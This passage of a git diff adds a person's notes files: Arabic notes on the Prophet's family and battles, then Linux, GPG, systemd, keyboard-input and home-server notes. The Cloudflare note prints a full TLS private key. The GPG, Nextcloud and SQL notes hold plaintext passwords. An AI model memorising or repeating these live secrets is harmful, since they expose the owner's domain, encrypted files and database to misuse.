مصعب"، + +لم يُسْلم منهم إلا حمزة والعباس ﵄. + +عمات النبي ﷺ-: عمات النبي ﷺ ست وهن: + +أميمة، + +وأم حكيم، + +وبَرَّة، + +وعاتكة، + +وصفية، + +وأروى. + +(١) زاد المعاد لابن القيم ١/ ١٠٤. + +(٢) سيرة ابن هشام ١/ ١٦٩. + +## Extra: + +أعمامه وعماته وأما أعمام النبي صلى الله عليه وسلم وعماته، + +فإن عبد المطلب بن هاشم كان له من الولد لصلبه عشرة من الذكور وست من الإناث، وأسماء بنيه: + +عبد الله، والد النبي عليه الصلاة والسلام؛ + +والزبير؛ + +وأبو طالب، واسمه عبد مناف؛ + +والعباس؛ + +وضرار؛ + +وحمزة؛ + +والمقوم؛ + +وأبو لهب،واسمه عبد العزى؛ + +والحارث + +والغيداق، واسمه حجل، ويقال نوفل. + +أسماء بناته عمات النبي صلى الله عليه وسلم: + +عاتكة، + +والبيضاء،وهي أم حكيم + +وبرة؛ + +وأميمة؛ + +وأروى؛ + +وصفية. + +ولد النبي صلى الله عليه وسلم ولد له من خديجة: القاسم، والطيب، وفاطمة، وزينب، ورقية، وأم كلثوم.وولد له من مارية القبطية: إبراهيم، فجميع ولده من خديجة، غير إبراهيم. + +# Grandchildren: + +## Ahfaad: + +أحفاد النبي ﷺ-: أحفاده ﷺ ستة وهم: + +أُمامة بنت أبي العاص بن الربيع وأمها زينب بنت النبي ﷺ، + +وعبد الله بن عثمان بن عفان وأمه رقية بنت النبي ﷺ، + +والحسن والحسين، وزينب، وأم كلثوم، وهم جميعًا أبناء علي بن أبي طالب وأمهم فاطمة بنت النبي ﷺ. + +# Battles: + +## Poem: + +غزواتهُ فيما ذُكر. وما رووهُ واشتُهر + +غزوةُ بدرٍ وانتصر فيها النبي وانكسر + +جيشٌ لإهل مكه. في رمضان دكه + +وبعدُها الجيشُ انهزمْ في احدٍ وماسَلَم + +ُّجَّل الرماة نزلوا. وامرهِ ماامتثلوا + +فكانت الهزيمه. شديدةٍ اليمه + +اتت بنو النظيرِ. بالعملِ الحقيرِ + +وهمو بالغدرِ كما. عن قومهِ قد عُلمَ + +نبينا اجلاهموُ. للشام قد نفاهمُ + +وبعدها الاحزابُ. في سعيهم قد خابوا + +وابصروا المدينه. بخندقٍ حصينه + +وجيشهم تراجعا. بالريحِ والرعبِ معا + +قد نقضت قريظه. عهودها العريضه + +إذ حالفوا الاحزابَا. وجانبوا الصوابا + +فقتِّلو لغدرهِم. وخبثِهم ومكرهم + +وبعدها الحديبية. فكانَ صلحاً قاضياً + +بنودَهُ قد شُهرت. وبالعهودِ سُطِرت + +وبعدها فخيبرُ. قد خرَبت واندحروا + +وخانت اليهودُ. وضاعتْ العهودُ + +وبعدها في مكةَ. فتحٌ عظيمٌ اثبتا + +أُبيحَ للمختارِ. وقتاً منَ النهارِ + +وجاءَ جيشُ اللهِ. يُذِلُ كلَ لاهِ + +وفي حُنينٍ قد ظفر. جيش النبي وانتصر + +والنصرُ جاءَ بعدما. اوشكَ ان ينهزما + +اخروها فأثبتِ. غزوةُ جيشِ العُسرةِ +️ +الى تبوكِ سارا. يُطَّهرُ الديارا + +وبَعدها الوداعُ. في حجةٍ تُذاعُ + +احداثُها قد شهرت. وفي الحديثِ ذكرت + +اليومُ اكملتُ لكم. بها تمامُ دينَكُم + +في عامِه الحادي عشر في يومه الثاني عشر diff --git a/Non Technical/20260429110504-ibarat.md b/Non Technical/20260429110504-ibarat.md new file mode 100755 index 0000000..636b5f9 --- /dev/null +++ b/Non Technical/20260429110504-ibarat.md @@ -0,0 +1,14 @@ +Volume 1: 1 - 1890 (N1: 117 - 938 = 821) +Volume 2: 1891 - 3948 (N1: 939 - 1770 = 832) +Volume 3: 3949 - 5639 (N1: 1771 - 2546 = 775) +Volume 4: 5640 - 7563 (N1: 2547 - 3366 = 819) + +# 939 - + +28 - 966 +16 - 982 +5 - 988 +9 - 996 + +938 - 117 = 821 +1770 - 939 = 831 diff --git a/Non Technical/Non Technical MOC.md b/Non Technical/Non Technical MOC.md new file mode 100755 index 0000000..7a8e50e --- /dev/null +++ b/Non Technical/Non Technical MOC.md @@ -0,0 +1,21 @@ + - [Books MOC](id:63314cff-3a3f-49b4-9e76-4a359c51f55f) + + - [RSS Articles](id:3a8274ef-f2fe-486d-9caf-0c56982b9917) + + - [Recipes MOC](id:65F747B1-3CB2-429A-9E26-ED8BC169E689) + + - [Proverbs](id:45eefd5b-a3d8-4b83-84ea-5a6984025755) + + - [Resources](id:023285a5-af32-4143-91e7-e0942a2635ad) + + - [Finances](id:79ba54e3-d300-4352-a7e6-3e7ec342cca3) + + - [Decluttering Plan](id:46c01e4f-4363-4017-9bb8-ef313266d5e2) + + - [Chrome Tabs Backup](id:cf614dfb-f764-4689-be69-e0166f4b9260) + + - [Memorisation Plan](id:fbf6843c-85cc-43ba-b86c-c227a2b47b31) + + - [Substack Articles](id:e7f3b897-72ca-45f1-8084-decf1b25c3d4) + + - [Deen MOC](id:4087e241-5c2a-4756-81a3-a98904231afb) diff --git a/Non Technical/z resources.md b/Non Technical/z resources.md new file mode 100755 index 0000000..5bf131b --- /dev/null +++ b/Non Technical/z resources.md @@ -0,0 +1,26 @@ +# Articles: + + - + - + - + +# Interesting things to read up: + +- +- +- +- +- +- +- +- +- +- +- https://www.vatican.va/content/leo-xiv/en/encyclicals/documents/20260515-magnifica-humanitas.html +# Server resources: + +- + +# Repos + +- diff --git a/Technical/20250402185735-java_moc.md b/Technical/20250402185735-java_moc.md new file mode 100755 index 0000000..28812c8 --- /dev/null +++ b/Technical/20250402185735-java_moc.md @@ -0,0 +1,3 @@ +Use this node for pom.xml: [maven-pom-file](id:bcd41e87-120c-455c-8898-996ddaa41f75) + +Tests: [java-junit-testing](id:7b8de14c-a73e-4c92-a403-a9a1c419c0b3) diff --git a/Technical/20250723190656-java_junit_testing.md b/Technical/20250723190656-java_junit_testing.md new file mode 100755 index 0000000..aa557d2 --- /dev/null +++ b/Technical/20250723190656-java_junit_testing.md @@ -0,0 +1 @@ + diff --git a/Technical/20250918120519-misc_moc.md b/Technical/20250918120519-misc_moc.md new file mode 100755 index 0000000..d6d7e04 --- /dev/null +++ b/Technical/20250918120519-misc_moc.md @@ -0,0 +1,3 @@ +# [weddingmoc](id:c1de3972-e932-48fd-8065-3d89dad58007) + +# [workflow-moc](id:8CE93986-280B-45BD-9DF2-5D06586DDDE7) diff --git a/Technical/20250926151524-workflow_moc.md b/Technical/20250926151524-workflow_moc.md new file mode 100755 index 0000000..e866067 --- /dev/null +++ b/Technical/20250926151524-workflow_moc.md @@ -0,0 +1,7 @@ +What are the use cases of the macbook and the pc: + +# Macbook + +## + +# PC diff --git a/Technical/20251101123637-backlog.md b/Technical/20251101123637-backlog.md new file mode 100755 index 0000000..c820a4e --- /dev/null +++ b/Technical/20251101123637-backlog.md @@ -0,0 +1,25 @@ +****This backlog serves as a repository for ideas, tasks, and projects that are not currently being worked on but may be of interest in the future. It is a place to capture and organise thoughts, plans, and potential initiatives that can be revisited when the time is right. They are not limited to this website or the Org Web.**** + +# Ideas + + - Building a code smells coverage checker for the `output` dir + + - Powershell script to give insights on the build scripts. This can be fed into the daily logs/discord pipeline + + - have a central point where we can see the server details and documentations + + - Have a two way sync between the cookbook and org-roam notes (see: [swagger](https://nextcloud.github.io/cookbook/dev/api/0.1.3/index.html#/Recipes/listRecipes)) + + - Sort out all the iphone chrome nitter/xcancel links (so we don't go there again) + + - sort out all the book notes. the current ones are: + + - the science of self-discipline + - clean coder + - so good they can't ignore you + +# Checked: + + - Source of truth for mostly used functions + +# To sort: diff --git a/Technical/20251214210526-useful_c_imports.md b/Technical/20251214210526-useful_c_imports.md new file mode 100755 index 0000000..f8cc051 --- /dev/null +++ b/Technical/20251214210526-useful_c_imports.md @@ -0,0 +1 @@ + - SDL2 [See this](https://wiki.libsdl.org/SDL2/FrontPage) diff --git a/Technical/20251223220531-technical_commonplace.md b/Technical/20251223220531-technical_commonplace.md new file mode 100755 index 0000000..eea9172 --- /dev/null +++ b/Technical/20251223220531-technical_commonplace.md @@ -0,0 +1,9 @@ +In this commonplace, I will collect technical notes and insights that I find useful. This is a work in progress, and I will update it as I learn new things. + +# Articles: + + - + +# Github: + + - diff --git a/Technical/20260111204228-rss_articles.md b/Technical/20260111204228-rss_articles.md new file mode 100755 index 0000000..3412d20 --- /dev/null +++ b/Technical/20260111204228-rss_articles.md @@ -0,0 +1,9 @@ +# [Downdetector and the real cost of no upstream dependencies](https://blog.pragmaticengineer.com/downdetector-and-the-real-cost-of-no-upstream-dependencies/) + +# [Loneliness Isn’t Just Something We Endure](https://coffeeandjunk.substack.com/p/loneliness) + +# [What are dormant volcanoes good for? Copper mining](https://bigthink.com/technology-innovation/dormant-volcanoes-copper-mining) + +# [Where Have All the Geniuses Gone?](https://coffeeandjunk.substack.com/p/genius) + +# [Not Everything Has to Be Timeless](https://coffeeandjunk.substack.com/p/forever) diff --git a/Technical/20260117194854-programming_projects.md b/Technical/20260117194854-programming_projects.md new file mode 100755 index 0000000..e7a6edd --- /dev/null +++ b/Technical/20260117194854-programming_projects.md @@ -0,0 +1 @@ + - diff --git a/Technical/Linux/Arch Linux.md b/Technical/Linux/Arch Linux.md new file mode 100755 index 0000000..c638d81 --- /dev/null +++ b/Technical/Linux/Arch Linux.md @@ -0,0 +1,11 @@ +# Links: + + - + + + +``` shell + +sudo fuser -k 8000/tcp + +``` diff --git a/Technical/Linux/GPG Encryption.md b/Technical/Linux/GPG Encryption.md new file mode 100755 index 0000000..ef98ef7 --- /dev/null +++ b/Technical/Linux/GPG Encryption.md @@ -0,0 +1,35 @@ +--- +note type: + - note +date: 2026-06-03 +done: true +--- +If you want to encrypt a file, use the following command: + +``` bash + +gpg -c file.txt + +# options include : +# gpg -c file.txt : for symmetric encryption +# gpg -d file.txt.gpg : to decrypt the file +# gpg --batch -c --passphrase mypassphrase file.txt : accepts passphrase right from command line + +``` + +and to decrypt, use: + +``` bash + +gpg -d file.txt + +# You have to wait 10 minutes before you can get prompted for a password, before this, it will +# decrypt without the passphrase. + +``` + +`gpg –batch -c –passphrase Shakkal123! passwords.md` + +`gpg –batch -d –passphrase Shakkal123! passwords.md.gpg` + +`gpg –batch –output passwords.md -d –passphrase Shakkal123! passwords.md.gpg` diff --git a/Technical/Linux/Keyboard.md b/Technical/Linux/Keyboard.md new file mode 100755 index 0000000..b544473 --- /dev/null +++ b/Technical/Linux/Keyboard.md @@ -0,0 +1,179 @@ +# Keyboard inputs + +This all comes from the fact that a "key press" isn't one thing — it's +a stack of specs and translations from **keyboard hardware → USB/HID → +Linux kernel → userspace (XKB/Wayland) → Hyprland binds**. + +## 1\. Big picture: what happens when you press a key? + +When you hit a key (like your "lock" key), roughly this happens: + +``` text +Physical switch on keyboard + ↓ +Keyboard firmware → USB HID "usage" (e.g. 0x07:0xE3 = Left GUI) + ↓ +Linux kernel input subsystem (evdev) → KEY_LEFTMETA (code 125) + ↓ +libinput / xkbcommon → keysyms (like Super_L, L, etc.) + ↓ +Hyprland → your `bind = SUPER, L, exec, ...` +``` + +The "topic" we've been poking at is basically **understanding each layer +in that stack**. + +----- + +## 2\. USB HID: where `700e3` comes from + +Modern USB keyboards follow the **USB HID (Human Interface Device) +specification**. This spec defines **Usage Tables**: numerical codes for +things like keys, buttons, axes, etc. + + - The keyboard page is **Usage Page 0x07 (Keyboard/Keypad)**. + + - In your `evtest` output, `MSC_SCAN value 700e3` means: + + - `0x07` (Keyboard page) + - `0xE3` (Left GUI / "Windows/Super" key) + +You can see the official tables here (PDF): + + - **HID Usage Tables (includes Keyboard/Keypad page 0x07)** + + ([USB Implementers Forum](https://usb.org/sites/default/files/hut1_21.pdf?utm_source=chatgpt.com)) + +If you scroll to the **Keyboard/Keypad Page (0x07)** section, it lists all +the key usages: A, B, C, modifiers, function keys, etc. There's also a +standalone Keyboard/Keypad-page extract people mirror, like this PDF +snippet: +([d1.amobbs.com](https://d1.amobbs.com/bbs_upload782111/files_47/ourdev_692986N5FAHU.pdf?utm_source=chatgpt.com)) + +So: + + - `700e3` = Page `0x07`, Usage `0xE3` → *Keyboard Left GUI* + - `7000f` = Page `0x07`, Usage `0x0F` → *Keyboard L* key + +That's how we knew your lock key was sending **Super + L**. + +----- + +## 3\. Linux input subsystem: `EV_MSC`, `EV_KEY`, `KEY_LEFTMETA` + +Linux has a dedicated **input subsystem** in the kernel (`drivers/input`, +`drivers/hid` etc.) that takes those HID usages and turns them into a +unified stream of **input events**. +([Linux Kernel Documentation](https://docs.kernel.org/input/input.html?utm_source=chatgpt.com)) + +Key ideas: + + - Devices expose `/dev/input/eventX` nodes. + + - Each event is a struct with: + + - `type` (e.g. =EVKEY=, `EV_MSC`, `EV_REL`, `EV_SYN`) + - `code` (e.g. =KEYL=, `KEY_LEFTMETA`) + - `value` (pressed = 1, released = 0, repeat = 2) + +Docs worth bookmarking: + + - **Linux input subsystem overview** + + ([Linux Kernel Documentation](https://docs.kernel.org/input/input.html?utm_source=chatgpt.com)) + + - **Input event types and codes (`event-codes.txt`)** + + ([Kernel.org](https://www.kernel.org/doc/Documentation/input/event-codes.txt?utm_source=chatgpt.com)) + +The **keycode definitions** (`KEY_L`, `KEY_LEFTMETA`, etc.) live in: + + - `include/uapi/linux/input-event-codes.h` in the kernel source Example + mirror: + + ([GitHub](https://raw.githubusercontent.com/torvalds/linux/master/include/uapi/linux/input-event-codes.h?utm_source=chatgpt.com)) + +When `evtest` prints: + +``` text +type 4 (EV_MSC), code 4 (MSC_SCAN), value 700e3 +type 1 (EV_KEY), code 125 (KEY_LEFTMETA), value 0 +``` + +that means: + + - `EV_MSC / MSC_SCAN` → "Here is the raw hardware scancode" (from USB + HID). + - `EV_KEY / KEY_LEFTMETA` → "Linux mapped that scancode to logical key + LEFTMETA". + +----- + +## 4\. XKB / xkbcommon: mapping to actual characters & modifiers + +Above the kernel, you've got an extra mapping layer that says: + +> For keycode N, with this layout, when Shift is held, produce this +> character/symbol. + +On X11 this is handled by **XKB (X Keyboard Extension)**; on Wayland +compositors (including Hyprland) the same ideas are implemented via +**xkbcommon**. + +Docs: + + - **X Keyboard Extension (XKB) protocol spec** + + ([X.Org](https://www.x.org/releases/X11R7.7/doc/kbproto/xkbproto.html?utm_source=chatgpt.com)) + + - **Arch Wiki: X keyboard extension** (good high-level intro) + + ([ArchWiki](https://wiki.archlinux.org/title/X_keyboard_extension?utm_source=chatgpt.com)) + + - A nice "practical" walkthrough of XKB concepts: + [[https://medium.com/\[cite/t:@damko/a-simple-humble-but-comprehensive-guide-to-xkb-for-linux-6f1ad5e13450](https://medium.com/%5Bcite/t:@damko/a-simple-humble-but-comprehensive-guide-to-xkb-for-linux-6f1ad5e13450)](https://medium.com/@damko/a-simple-humble-but-comprehensive-guide-to-xkb-for-linux-6f1ad5e13450)\] + ([Medium](https://medium.com/%40damko/a-simple-humble-but-comprehensive-guide-to-xkb-for-linux-6f1ad5e13450?utm_source=chatgpt.com)) + +Hyprland, Sway, etc. all use libinput + xkbcommon under the hood to +interpret those keycodes and translate them into keysyms and modifiers. + +----- + +## 5\. Hyprland / your config: where the bindings fit in + +Hyprland sits at the top of this stack: + + - It listens to the input events (via libinput). + - It sees keysyms/modifiers (e.g. =Super=, `L`). + - It matches them against your config: + + + +``` ini +bind = SUPER, L, exec, hyprlock +``` + +So your keyboard's "lock" key: + +1. Firmware sends HID usages `0xE3` (Left GUI) and `0x0F` (L). +2. Linux maps them to `KEY_LEFTMETA` (125) and `KEY_L` (38). +3. xkbcommon maps that to `Super` + `L`. +4. Hyprland says: "Ah, SUPER+L → run `hyprlock`". + +The "topic" you stumbled into is just **peeling back each abstraction +layer**. + +----- + +## 6\. Handy tools & libraries if you want to go deeper + + - `evtest`, `libinput debug-events`, `showkey` → To watch what your + keyboard is actually sending. + + - **Python-evdev** – Python bindings to read `/dev/input/event*` + yourself: + ([python-evdev.readthedocs.io](https://python-evdev.readthedocs.io/?utm_source=chatgpt.com)) + + - Linux input subsystem docs again: + + ([Linux Kernel Documentation](https://docs.kernel.org/driver-api/input.html?utm_source=chatgpt.com)) diff --git a/Technical/Linux/Linux MOC.md b/Technical/Linux/Linux MOC.md new file mode 100755 index 0000000..2d1f480 --- /dev/null +++ b/Technical/Linux/Linux MOC.md @@ -0,0 +1,12 @@ +--- +note type: + - moc +date: 2026-06-03 +done: true +--- +- [[Wacom]] +- [[Systemd Services]] +- [[GPG Encryption]] +- [[Arch Linux]] +- [[i3 WM]] +- [[Keyboard]] \ No newline at end of file diff --git a/Technical/Linux/Systemd Services.md b/Technical/Linux/Systemd Services.md new file mode 100755 index 0000000..2072048 --- /dev/null +++ b/Technical/Linux/Systemd Services.md @@ -0,0 +1,45 @@ +--- +note type: + - note +date: 2026-06-03 +done: true +--- +# To add a systemctl + + - create a new systemd service file: + `sudo nano /etc/systemd/system/name.service` + + - example content: + `[Unit]` + `Description=Watch TODO Directory and Update Master Task List` + `After=network.target` + + `[Service]` + `ExecStart=/usr/local/bin/watch-todo.sh` + `Restart=always` + `User=zaine` + `WorkingDirectory=/home/zaine/master-folder/orgfiles/todo` + `StandardOutput=append:/var/log/watch-todo.log` + `StandardError=append:/var/log/watch-todo.log` + + \[Install\] + WantedBy=multi-user.target + + - reload and start: + + `sudo systemctl daemon-reload` + `sudo systemctl enable watch-todo.service` + `sudo systemctl start watch-todo.service` + +# To remove a systemctl service: + +``` +systemctl stop \[servicename\] +systemctl disable \[servicename\] +rm *etc/systemd/system*\[servicename\] +rm *etc/systemd/system*\[servicename\] \# and symlinks that might be related +rm *usr/lib/systemd/system*\[servicename\] +rm *usr/lib/systemd/system*\[servicename\] \# and symlinks that might be related +systemctl daemon-reload +systemctl reset-failed +``` diff --git a/Technical/Linux/Wacom.md b/Technical/Linux/Wacom.md new file mode 100755 index 0000000..d83c9c7 --- /dev/null +++ b/Technical/Linux/Wacom.md @@ -0,0 +1,58 @@ +--- +note type: + - note +date: 2026-06-03 +done: true +--- +The command: `xsetwacom --list` gave me: + +``` bash +Wacom One by Wacom M Pen stylus id: 12 type: STYLUS +Wacom One by Wacom M Pen eraser id: 13 type: ERASER +``` + +Then, in order to map the stylus to a single monitor i needed to know my monitor mappings via `xrandr`: + +``` bash + + Screen 0: minimum 8 x 8, current 3840 x 1080, maximum 32767 x 32767 +DP-0 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 600mm x 340mm + 1920x1080 60.00*+ 143.85 119.98 59.94 + 1680x1050 59.95 + 1440x900 59.89 + 1440x576 50.00 + 1440x480 59.94 + 1280x1024 75.02 60.02 + 1280x960 60.00 + 1280x720 60.00 59.94 + 1152x864 75.00 + 1024x768 75.03 70.07 60.00 + 800x600 75.00 72.19 60.32 56.25 + 720x480 59.94 + 640x480 75.00 72.81 59.94 59.93 +DP-1 disconnected (normal left inverted right x axis y axis) +HDMI-0 connected 1920x1080+1920+0 (normal left inverted right x axis y axis) 521mm x 293mm + 1920x1080 60.00*+ 59.94 50.00 + 1680x1050 59.95 + 1600x900 60.00 + 1440x900 59.89 + 1280x1024 60.02 + 1280x800 59.81 + 1280x720 60.00 59.94 50.00 + 1024x768 70.07 60.00 + 800x600 72.19 60.32 56.25 + 720x576 50.00 + 720x480 59.94 + 640x480 72.81 59.94 +DP-2 disconnected (normal left inverted right x axis y axis) +DP-3 disconnected (normal left inverted right x axis y axis) +DP-4 disconnected (normal left inverted right x axis y axis) +DP-5 disconnected (normal left inverted right x axis y axis) + + + +``` + +Then I simply map it via: + +`xsetwacom set "Wacom One by Wacom M Pen stylus" MapToOutput HEAD-0` diff --git a/Technical/Linux/i3 WM.md b/Technical/Linux/i3 WM.md new file mode 100755 index 0000000..98779c8 --- /dev/null +++ b/Technical/Linux/i3 WM.md @@ -0,0 +1,10 @@ +# Commands: + +**Mod1 = Win Key** + +`$mod+Enter = Open Terminal` +`$mod+s = Stacked layout` +`$mod+e = Default layout` +`$mod+d = dmenu` + +# Config file: diff --git a/Technical/Server/Actual (finance).md b/Technical/Server/Actual (finance).md new file mode 100755 index 0000000..592fc26 --- /dev/null +++ b/Technical/Server/Actual (finance).md @@ -0,0 +1,16 @@ +# Notes: + + - \<2026-04-01 Wed\>: There is one transaction waiting to show on the statement for \<2026-03-31 Tue\>. Will need to redo March full. \[ \] + +# Setup + +In order to update the balance, I have decided for the moment to export as `csv` the monthly transactions from Halifax. Place the file into the `~/master-folder/attachments/bank-statements/` folder and name it as `halifax-YYYY-MM.csv`, where `YYYY` is the four-digit year and `MM` is the two-digit month. + +Then run the following command in the terminal whilst being in the `~/master-folder/projects/scripts/` directory: + +``` python +python3 clean-halifax-actual.py ../../attachments/bank-statements/halifax-YYYY-MM.csv ../../attachments/bank-statements/halifax-YYYY-MM-cleaned.csv + +``` + +Then you can go to the website `https://actual.zainezq.com/` and upload the cleaned file to update the balance. diff --git a/Technical/Server/Cloudflare.md b/Technical/Server/Cloudflare.md new file mode 100755 index 0000000..c6ea9c8 --- /dev/null +++ b/Technical/Server/Cloudflare.md @@ -0,0 +1,79 @@ +--- +note type: + - server + - note +date: 2026-06-03 +done: true +--- +# Go to: + +This is to edit the access control in the zero trust cloudflare. + +# Origin certificate + +``` + -----BEGIN CERTIFICATE----- +MIIEojCCA4qgAwIBAgIUGvC9u3SW6C6y5uOcQjul2hyghmgwDQYJKoZIhvcNAQEL +BQAwgYsxCzAJBgNVBAYTAlVTMRkwFwYDVQQKExBDbG91ZEZsYXJlLCBJbmMuMTQw +MgYDVQQLEytDbG91ZEZsYXJlIE9yaWdpbiBTU0wgQ2VydGlmaWNhdGUgQXV0aG9y +aXR5MRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRMwEQYDVQQIEwpDYWxpZm9ybmlh +MB4XDTI2MDQwOTEyNDYwMFoXDTQxMDQwNTEyNDYwMFowYjEZMBcGA1UEChMQQ2xv +dWRGbGFyZSwgSW5jLjEdMBsGA1UECxMUQ2xvdWRGbGFyZSBPcmlnaW4gQ0ExJjAk +BgNVBAMTHUNsb3VkRmxhcmUgT3JpZ2luIENlcnRpZmljYXRlMIIBIjANBgkqhkiG +9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwnW7egyN30IndtYbCdk4EA9IVb+icJo4d9mR +Bsiw4TJ6YSlnFkVXuHl1iitSZiMnlGxHke5AsDGm8rnyCa5BzT/n+VI27WwyncoO +PJXjSjOFIWVg/VAaHJUwXcc+taqNn/U3661iSN+1TlJFgpVwF6ei6t+raJcCAXxN +ajrA3ksf4FhMWQcpdi6J0ecM8LWsa94nNHFZJCH8nTGsND90zw7ueOMu5JIhc6Ru +0Iw5kke2jIkhVQpg4DYTzKoEa1SmgGCZAPBlBaOc7Ii4VpVMmydhRh0TFDZbe5Bz +lgVMslOSj1qnq4o7nFCk0LY8gfSykbuKJEHr/aboOEkot+E4kwIDAQABo4IBJDCC +ASAwDgYDVR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD +ATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBThHBF5Sw8X+uuHUB0NIANwIakBsjAf +BgNVHSMEGDAWgBQk6FNXXXw0QIep65TbuuEWePwppDBABggrBgEFBQcBAQQ0MDIw +MAYIKwYBBQUHMAGGJGh0dHA6Ly9vY3NwLmNsb3VkZmxhcmUuY29tL29yaWdpbl9j +YTAlBgNVHREEHjAcgg0qLnphaW5lenEuY29tggt6YWluZXpxLmNvbTA4BgNVHR8E +MTAvMC2gK6AphidodHRwOi8vY3JsLmNsb3VkZmxhcmUuY29tL29yaWdpbl9jYS5j +cmwwDQYJKoZIhvcNAQELBQADggEBALfCfzqPuLXLepdyY/O8j9+0kiwdgby6ir1x +1O8HKm0y47WZx7nntromSo4Bgq+R1KglUCvkcy+kCwlsfFk1WmCgVMiE9WCnn6Pv +NriftoM5Q1tiHeSR0kLOJ9mROmiy5roThMm2EOWCjhWw2jJzVfvTj1s651dpmGRj +E6BoX6NJr9NvzVEeCqhgjoiCXIv5bfGEwl1Mj/mIj2/GIbLiayT90vi8T89ixgca +RTLlmRiEEJnKP0NN45vGYjgtJCgkXtCDL0lfSBt5FuEXq4sXIjDhhIn/hH004doJ +fHlwK4tTfpZPYterSRRuy4zSgV7IekKS2z9pjCloQbDbMjqnAKI= +-----END CERTIFICATE----- + + +``` + +# Private key + +``` + -----BEGIN PRIVATE KEY----- +MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDCdbt6DI3fQid2 +1hsJ2TgQD0hVv6Jwmjh32ZEGyLDhMnphKWcWRVe4eXWKK1JmIyeUbEeR7kCwMaby +ufIJrkHNP+f5UjbtbDKdyg48leNKM4UhZWD9UBoclTBdxz61qo2f9TfrrWJI37VO +UkWClXAXp6Lq36tolwIBfE1qOsDeSx/gWExZByl2LonR5wzwtaxr3ic0cVkkIfyd +Maw0P3TPDu544y7kkiFzpG7QjDmSR7aMiSFVCmDgNhPMqgRrVKaAYJkA8GUFo5zs +iLhWlUybJ2FGHRMUNlt7kHOWBUyyU5KPWqerijucUKTQtjyB9LKRu4okQev9pug4 +SSi34TiTAgMBAAECggEADPLiBQKI//Dbx+IB8unv/cHGw077dhwO3owySA1dGeHO +nGGxZ54+dR5BYW35EqwMmqmLKoB+9jyYLVmMcHCWGSDERanf1nd591/ZCtfARtSf +bNXfW37V/klA6z21Q0uUGq6thpgJD2k2HX0E++kPicOz6YfzVgeYLpkkXoqDBUpF +dzC+eGZDzjI1BECoW/N/U3P2F8nv7fHv/4xVudkMehlkPJ56BiMbx2K15jvh2Dyz +znZvelNNw/XRHv29GgOkggh4BQRDXHl3/mTMTe8JmLWU560rNZ99xjpv1lrbqwuO +W5WNRKcQRXCELXsEDiH1dEsteU1wVUaOyZSzEg6OYQKBgQD4InmF5kuhPrgnNwKu +uRYZB60JFvkVdxal1xIGDwjylWBVsWWJEIAko3wbt6iI2/r1Est4tsBnap9nMciG +Zn4FKJRAj0bZW6CwFHUZy6q91qK7JFM1e1dcrDXhgFOCG4rI802roPSjCo/rztkI +LEQomGbMVs/86KtqaSRqVjGXXQKBgQDIn7StCglsRD/+RDWFIgtSOJbdIe0imP1h +ewRa7iSKBMbc8ZFwDuZ3JxDI1a0DTQdMM3MpZRtGO2urnnepNV3fqSnZaaruaEL0 +1IKvCtZn1MHMEi4gErqpEBqgHfvSOIBvFhKQ6bbclmZJ5u1OFBrbu9EALfLk1Tkz +Luje1fnArwKBgF7zIjlgtJQRIfqvjDE71f7h9w7BYbMbDOmM8PKskinxixl/dnEK +hV5/yJ/6mV01gESDWqTomZt5K2IbpLX5RkPHEWPa76uA6m42hdDHJKDcHw0pi0Wt +2vI1W7DcoBfrXiIjKBeC0doJ0qTTVC1Scwpttvh+R7xpdB6V+T9PmE5pAoGBALhm +On31xLVzgdImRX8JzJgVFW1JOpnbPsFzfYxKaOFHBLWdf40c1O3dxUqjQ3POQA/l +FkuM9+W0xgEnFVs8hv0FkkaYHhklUa2RClDzSCCFaF82spiePl0YRTC4fnY5oqr4 +Abaaao4T2w7AJ4vlZM5ksfRVR3TXGs0Vp8rxp65XAoGAPNgi8uz9zcAp5tUizZVg +6nP68Cws6I3PmExMnbr2BmYAi2tl2NY93PQG1OT9MZ51Z0W+ynM6nTzti2zm7iXO +Rs4AAsErEG1YDt4U0GExJdoEBIJ14+9Q6PSYPAMBbx0nv1WA1hvdvDHIUaYNPWqZ +wuSVw419xlxUkj9uCb1kQoo= +-----END PRIVATE KEY----- + + +``` diff --git a/Technical/Server/Gitea.md b/Technical/Server/Gitea.md new file mode 100755 index 0000000..d49b887 --- /dev/null +++ b/Technical/Server/Gitea.md @@ -0,0 +1,24 @@ +--- +note type: + - server + - note +date: 2026-06-03 +done: true +--- +In order to connect to the gitea server and run git commands, you will need to do the following: + +Run `cat ~/.ssh/id_ed25519.pub` + +Copy that key and add it to the ssh keys in gitea + +`ssh-keygen -t ed25519 -C "windows-gitea"` + +`ssh -T -p 222 git@192.168.0.241` + +Check the remote url of the git project. + +`git remote -v` + +Change it to: + +`git remote set-url origin git@` diff --git a/Technical/Server/Nextcloud.md b/Technical/Server/Nextcloud.md new file mode 100755 index 0000000..1a8502b --- /dev/null +++ b/Technical/Server/Nextcloud.md @@ -0,0 +1,289 @@ +--- +note type: + - note + - server +date: 2026-06-03 +done: true +--- +# The docker file: + +``` bash + +version: '3.8' +services: + app: + image: nextcloud + restart: unless-stopped + ports: + - 8007:80 + volumes: + - nextcloud:/var/www/html + environment: + - POSTGRES_DB=nextcloud + - POSTGRES_USER=nextcloud + - POSTGRES_PASSWORD=zxq123_nextcloud + - POSTGRES_HOST=postgres + networks: + - postgres_network + +volumes: + nextcloud: + +networks: + postgres_network: + external: true + +``` + +# Database related things: + +``` bash + +zxq_db=# CREATE DATABASE nextcloud; +CREATE DATABASE +zxq_db=# CREATE USER nextcloud WITH PASSWORD 'zxq123_nextcloud'; +CREATE ROLE +zxq_db=# GRANT ALL PRIVILEGES ON DATABASE nextcloud TO nextcloud; +GRANT +zxq_db=# + +``` + +# Permissions: + +## **Not sure if the below still applies** + +``` bash + +# Add yourself and www-data to a shared group + +### Create a shared group: + +sudo groupadd ncshare + +### Add both users: + +sudo usermod -aG ncshare zaine +sudo usermod -aG ncshare www-data + +### Set the folder to that group: + +sudo chown -R zaine:ncshare /home/zaine/master-folder +sudo chmod -R 775 /home/zaine/master-folder + + +``` + +## \<2026-03-25 Wed\> fixes: + +Up To Date Fixes: +We need to add zaine to the www-data group: + +``` bash +sudo usermod -aG www-data zaine +``` + +Then we need to make the directories setgid, so that any new files created will have the group www-data: + +``` bash +sudo chown -R zaine:www-data /home/zaine/master-folder +sudo chmod -R 2775 